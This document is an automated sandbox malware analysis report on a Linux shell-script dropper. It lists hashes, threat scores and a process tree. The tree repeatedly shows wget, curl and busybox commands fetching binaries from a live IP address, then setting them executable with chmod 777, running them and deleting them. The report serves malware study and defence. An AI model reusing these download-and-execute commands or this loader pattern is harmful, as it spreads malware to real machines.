562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f

Analysis

max time kernel
21s
max time network
131s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
29/10/2024, 02:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f.sh
Size 10KB
Sample241029-cs1lassfld
SHA256 562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f
MD5 acfd990132153f5d7902470c82acca9a
SHA1 7f8aa0bf8dc9d7ccdf0928b8f63a0c345ec543ed
SHA512 acefdada157ff51e7b00f84aa0236f875bce14317a9dfb33a1b926d32392f229819ec9c5d7ba296a2b9bb345fafacd7a223bf26c7160ece7e0e145f95a8dc8bd
SSDEEP 192:W+G9o0jeksB4EvCKVzU5g91y/rkjHksB4Ed7qo91y/rs0+G9o0U:qeksB4EvCKVzU5ijHksB4Ed7qeR
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1626	chmod
1578	chmod
1584	chmod
1572	chmod
1536	chmod
1506	chmod
1530	chmod
1596	chmod
1608	chmod
1620	chmod
1638	chmod
1566	chmod
1590	chmod
1512	chmod
1656	chmod
1542	chmod
1548	chmod
1554	chmod
1614	chmod
1650	chmod
1518	chmod
1524	chmod
1632	chmod
1493	chmod
1560	chmod
1644	chmod
1499	chmod
1602	chmod

Executes dropped EXE 28 IoCs

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E	curl
File opened for modification	/tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i	curl
File opened for modification	/tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif	curl
File opened for modification	/tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe	curl
File opened for modification	/tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i	curl
File opened for modification	/tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F	curl
File opened for modification	/tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV	curl
File opened for modification	/tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK	curl
File opened for modification	/tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe	curl
File opened for modification	/tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV	curl
File opened for modification	/tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA	curl
File opened for modification	/tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68	curl
File opened for modification	/tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F	curl
File opened for modification	/tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E	curl
File opened for modification	/tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK	curl
File opened for modification	/tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68	curl
File opened for modification	/tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby	curl
File opened for modification	/tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb	curl
File opened for modification	/tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D	curl
File opened for modification	/tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb	curl
File opened for modification	/tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj	curl
File opened for modification	/tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem	curl
File opened for modification	/tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA	curl
File opened for modification	/tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D	curl
File opened for modification	/tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif	curl
File opened for modification	/tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby	curl
File opened for modification	/tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem	curl
File opened for modification	/tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj	curl

/tmp/562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f.sh
/tmp/562daf29b3ace2e773d86c54607031a940d685fa0486400720e6a55754c04c1f.sh
1⤵
PID:1475
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1476
- /usr/bin/wget
  wget http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:1477
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - Writes file to tmp directory
  PID:1478
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:1492
- /bin/chmod
  chmod 777 b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - File and Directory Permissions Modification
  PID:1493
- /tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  ./b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - Executes dropped EXE
  PID:1494
- /bin/rm
  rm b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:1495
- /usr/bin/wget
  wget http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:1496
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - Writes file to tmp directory
  PID:1497
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:1498
- /bin/chmod
  chmod 777 V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - File and Directory Permissions Modification
  PID:1499
- /tmp/V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  ./V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  - Executes dropped EXE
  PID:1500
- /bin/rm
  rm V2i6G0yAVJXfvK2VMvZk95qpfg440yCSgj
  2⤵
  PID:1501
- /usr/bin/wget
  wget http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:1502
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - Writes file to tmp directory
  PID:1503
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:1504
- /bin/chmod
  chmod 777 Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  ./Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - Executes dropped EXE
  PID:1507
- /bin/rm
  rm Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:1508
- /usr/bin/wget
  wget http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:1509
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - Writes file to tmp directory
  PID:1510
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:1511
- /bin/chmod
  chmod 777 BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - File and Directory Permissions Modification
  PID:1512
- /tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  ./BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - Executes dropped EXE
  PID:1513
- /bin/rm
  rm BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:1514
- /usr/bin/wget
  wget http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:1515
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:1517
- /bin/chmod
  chmod 777 HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - File and Directory Permissions Modification
  PID:1518
- /tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  ./HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - Executes dropped EXE
  PID:1519
- /bin/rm
  rm HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:1520
- /usr/bin/wget
  wget http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:1521
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - Writes file to tmp directory
  PID:1522
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:1523
- /bin/chmod
  chmod 777 R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - File and Directory Permissions Modification
  PID:1524
- /tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  ./R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - Executes dropped EXE
  PID:1525
- /bin/rm
  rm R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:1526
- /usr/bin/wget
  wget http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:1527
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - Writes file to tmp directory
  PID:1528
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:1529
- /bin/chmod
  chmod 777 NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  ./NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - Executes dropped EXE
  PID:1531
- /bin/rm
  rm NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:1532
- /usr/bin/wget
  wget http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:1533
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - Writes file to tmp directory
  PID:1534
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:1535
- /bin/chmod
  chmod 777 LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - File and Directory Permissions Modification
  PID:1536
- /tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  ./LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - Executes dropped EXE
  PID:1537
- /bin/rm
  rm LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:1538
- /usr/bin/wget
  wget http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:1539
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - Writes file to tmp directory
  PID:1540
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:1541
- /bin/chmod
  chmod 777 yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  ./yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - Executes dropped EXE
  PID:1543
- /bin/rm
  rm yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:1544
- /usr/bin/wget
  wget http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:1545
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - Writes file to tmp directory
  PID:1546
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:1547
- /bin/chmod
  chmod 777 5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - File and Directory Permissions Modification
  PID:1548
- /tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  ./5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - Executes dropped EXE
  PID:1549
- /bin/rm
  rm 5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:1550
- /usr/bin/wget
  wget http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:1551
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - Writes file to tmp directory
  PID:1552
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:1553
- /bin/chmod
  chmod 777 GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - File and Directory Permissions Modification
  PID:1554
- /tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  ./GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - Executes dropped EXE
  PID:1555
- /bin/rm
  rm GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:1556
- /usr/bin/wget
  wget http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:1557
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - Writes file to tmp directory
  PID:1558
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:1559
- /bin/chmod
  chmod 777 pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  ./pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - Executes dropped EXE
  PID:1561
- /bin/rm
  rm pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:1562
- /usr/bin/wget
  wget http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:1563
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - Writes file to tmp directory
  PID:1564
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:1565
- /bin/chmod
  chmod 777 4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - File and Directory Permissions Modification
  PID:1566
- /tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  ./4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - Executes dropped EXE
  PID:1567
- /bin/rm
  rm 4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:1568
- /usr/bin/wget
  wget http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:1569
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - Writes file to tmp directory
  PID:1570
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:1571
- /bin/chmod
  chmod 777 NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - File and Directory Permissions Modification
  PID:1572
- /tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  ./NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - Executes dropped EXE
  PID:1573
- /bin/rm
  rm NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:1574
- /usr/bin/wget
  wget http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:1575
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - Writes file to tmp directory
  PID:1576
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:1577
- /bin/chmod
  chmod 777 Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - File and Directory Permissions Modification
  PID:1578
- /tmp/Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  ./Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  - Executes dropped EXE
  PID:1579
- /bin/rm
  rm Jv5ukJoytHudMJmNGGPhRYQAEvYCYViQ5i
  2⤵
  PID:1580
- /usr/bin/wget
  wget http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:1581
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - Writes file to tmp directory
  PID:1582
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:1583
- /bin/chmod
  chmod 777 BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - File and Directory Permissions Modification
  PID:1584
- /tmp/BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  ./BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  - Executes dropped EXE
  PID:1585
- /bin/rm
  rm BPimxXgwh6cqmGWUBIARmoFcZckCnHB77F
  2⤵
  PID:1586
- /usr/bin/wget
  wget http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:1587
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - Writes file to tmp directory
  PID:1588
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:1589
- /bin/chmod
  chmod 777 HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - File and Directory Permissions Modification
  PID:1590
- /tmp/HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  ./HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  - Executes dropped EXE
  PID:1591
- /bin/rm
  rm HyMOJy2XXCRP94N09ltzSWOYtQV4rHGT2E
  2⤵
  PID:1592
- /usr/bin/wget
  wget http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:1593
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - Writes file to tmp directory
  PID:1594
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:1595
- /bin/chmod
  chmod 777 R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - File and Directory Permissions Modification
  PID:1596
- /tmp/R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  ./R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  - Executes dropped EXE
  PID:1597
- /bin/rm
  rm R2W5RHWmosXU10OGiD9LVgfYiTIJPVpgaV
  2⤵
  PID:1598
- /usr/bin/wget
  wget http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:1599
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - Writes file to tmp directory
  PID:1600
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:1601
- /bin/chmod
  chmod 777 NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - File and Directory Permissions Modification
  PID:1602
- /tmp/NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  ./NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  - Executes dropped EXE
  PID:1603
- /bin/rm
  rm NIaPuXz8a4WLPXXw7uzm17KL08nG36LTby
  2⤵
  PID:1604
- /usr/bin/wget
  wget http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:1605
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - Writes file to tmp directory
  PID:1606
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:1607
- /bin/chmod
  chmod 777 LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - File and Directory Permissions Modification
  PID:1608
- /tmp/LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  ./LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  - Executes dropped EXE
  PID:1609
- /bin/rm
  rm LHygiawFhu9RqvVnFWhdDfkp2a0857vNgA
  2⤵
  PID:1610
- /usr/bin/wget
  wget http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:1611
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - Writes file to tmp directory
  PID:1612
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:1613
- /bin/chmod
  chmod 777 yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - File and Directory Permissions Modification
  PID:1614
- /tmp/yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  ./yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  - Executes dropped EXE
  PID:1615
- /bin/rm
  rm yT03amHmiIHCNcS4Wa3bACXWU8peSMhx1D
  2⤵
  PID:1616
- /usr/bin/wget
  wget http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:1617
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - Writes file to tmp directory
  PID:1618
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:1619
- /bin/chmod
  chmod 777 5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - File and Directory Permissions Modification
  PID:1620
- /tmp/5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  ./5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  - Executes dropped EXE
  PID:1621
- /bin/rm
  rm 5qThI8gARDw1eHM3KkZxdxjYrlFHsYnBif
  2⤵
  PID:1622
- /usr/bin/wget
  wget http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:1623
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - Writes file to tmp directory
  PID:1624
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:1625
- /bin/chmod
  chmod 777 GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - File and Directory Permissions Modification
  PID:1626
- /tmp/GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  ./GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  - Executes dropped EXE
  PID:1627
- /bin/rm
  rm GDOEU4Bz2VgofxG9eviqMTq5DspMxd11Nb
  2⤵
  PID:1628
- /usr/bin/wget
  wget http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:1629
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - Writes file to tmp directory
  PID:1630
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:1631
- /bin/chmod
  chmod 777 pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - File and Directory Permissions Modification
  PID:1632
- /tmp/pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  ./pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  - Executes dropped EXE
  PID:1633
- /bin/rm
  rm pzSHPXvnL9EXiKi9j7Et2ZVMGo1UA9IgEe
  2⤵
  PID:1634
- /usr/bin/wget
  wget http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:1635
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - Writes file to tmp directory
  PID:1636
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:1637
- /bin/chmod
  chmod 777 4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - File and Directory Permissions Modification
  PID:1638
- /tmp/4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  ./4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  - Executes dropped EXE
  PID:1639
- /bin/rm
  rm 4xJyuanQGYY2ar4L3IzfVQJACUZ107WoIK
  2⤵
  PID:1640
- /usr/bin/wget
  wget http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:1641
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - Writes file to tmp directory
  PID:1642
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:1643
- /bin/chmod
  chmod 777 NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - File and Directory Permissions Modification
  PID:1644
- /tmp/NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  ./NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  - Executes dropped EXE
  PID:1645
- /bin/rm
  rm NXZW3RmaqiIvjrZpvLXd0mGC4pJQOfos68
  2⤵
  PID:1646
- /usr/bin/wget
  wget http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:1647
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - Writes file to tmp directory
  PID:1648
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  PID:1649
- /bin/chmod
  chmod 777 b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
  2⤵
  - File and Directory Permissions Modification
  PID:1650
- /tmp/b86Pem7AP1H2YxzQUxeBvEEYQ4reJQojem
